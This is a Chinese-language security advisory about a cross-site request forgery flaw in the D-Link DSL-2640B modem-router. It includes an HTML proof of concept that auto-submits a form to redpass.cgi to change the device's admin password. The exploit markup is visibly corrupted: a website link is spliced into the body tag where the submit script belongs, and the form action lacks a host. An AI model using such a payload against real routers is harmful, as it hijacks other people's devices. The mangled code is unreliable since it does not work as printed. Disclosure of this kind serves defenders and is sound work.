发布日期：2012-02-21
更新日期：2012-02-22
受影响系统：
D-Link DSL-2640B
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 52096
D-Link DSL-2640B是集成了调制解调器和路由器的多功能产品。
D-Link DSL-2640B在实现上存在跨站请求伪造漏洞，攻击者可利用此漏洞在受影响设备上运行特权命令，更改配置、造成拒绝服务或注入任意脚本代码。
<*来源：Ivano Binetti
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<bodyhttps://www.linuxidc.com/Java" target="_blank" title="https://www.linuxidc.com/topicnews.aspx?tid=19">Javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change ADMIN password</H2>
<form method="POST" action=":80/redpass.cgi?sysPassword=new_password&change=1">
</form>
</body>
</html>
建议：
--------------------------------------------------------------------------------
厂商补丁：
D-Link
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
